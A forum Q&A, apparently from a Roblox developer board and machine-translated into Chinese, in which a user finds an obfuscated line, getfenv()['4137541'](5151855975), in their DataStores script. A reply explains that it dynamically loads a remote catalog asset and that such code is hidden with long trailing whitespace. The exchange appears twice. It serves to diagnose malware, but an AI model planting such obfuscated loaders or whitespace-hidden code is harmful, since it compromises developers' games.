我的脚本出现乱码,是病毒吗?
Random Code appearing in My Script, Is it a Virus?
当我完全重做我的 DataStores 脚本时,我走到了最后我做的地方 game:BindToClose(function() 我只是循环遍历所有播放器做我在 PlayerRemoving 上做的事情。我按回车键在 game:BindToClose(function() 之后,这段代码出现在它下面的一行中。这是否意味着我的游戏有病毒?!或者这只是 roblox
的一个错误
getfenv()['4137541'](5151855975)
这个 DataStores 脚本是您编写的,还是您修改了工具箱中的现有脚本?
getfenv
和 setfenv
一直在恶意脚本中使用,以动态执行难以阅读和理解的代码。
该行正在执行 require(5151855975)
,它将从 Roblox 目录动态加载 an asset。幸运的是,在这种情况下,此资产已经过审核,因此如果加载了它,它不会执行任何操作。
通常,这些恶意行隐藏在真实代码的末尾之后,使用空格将恶意代码推到远离屏幕的地方。 :
print("This is a normal line") <add 200 spaces> print("here is a hidden line of code")
听起来您在按回车键时不小心泄露了一些秘密的恶意代码。您可以在不破坏脚本的情况下安全地删除它。
当我完全重做我的 DataStores 脚本时,我走到了最后我做的地方 game:BindToClose(function() 我只是循环遍历所有播放器做我在 PlayerRemoving 上做的事情。我按回车键在 game:BindToClose(function() 之后,这段代码出现在它下面的一行中。这是否意味着我的游戏有病毒?!或者这只是 roblox
的一个错误getfenv()['4137541'](5151855975)
这个 DataStores 脚本是您编写的,还是您修改了工具箱中的现有脚本?
getfenv
和 setfenv
一直在恶意脚本中使用,以动态执行难以阅读和理解的代码。
该行正在执行 require(5151855975)
,它将从 Roblox 目录动态加载 an asset。幸运的是,在这种情况下,此资产已经过审核,因此如果加载了它,它不会执行任何操作。
通常,这些恶意行隐藏在真实代码的末尾之后,使用空格将恶意代码推到远离屏幕的地方。 :
print("This is a normal line") <add 200 spaces> print("here is a hidden line of code")
听起来您在按回车键时不小心泄露了一些秘密的恶意代码。您可以在不破坏脚本的情况下安全地删除它。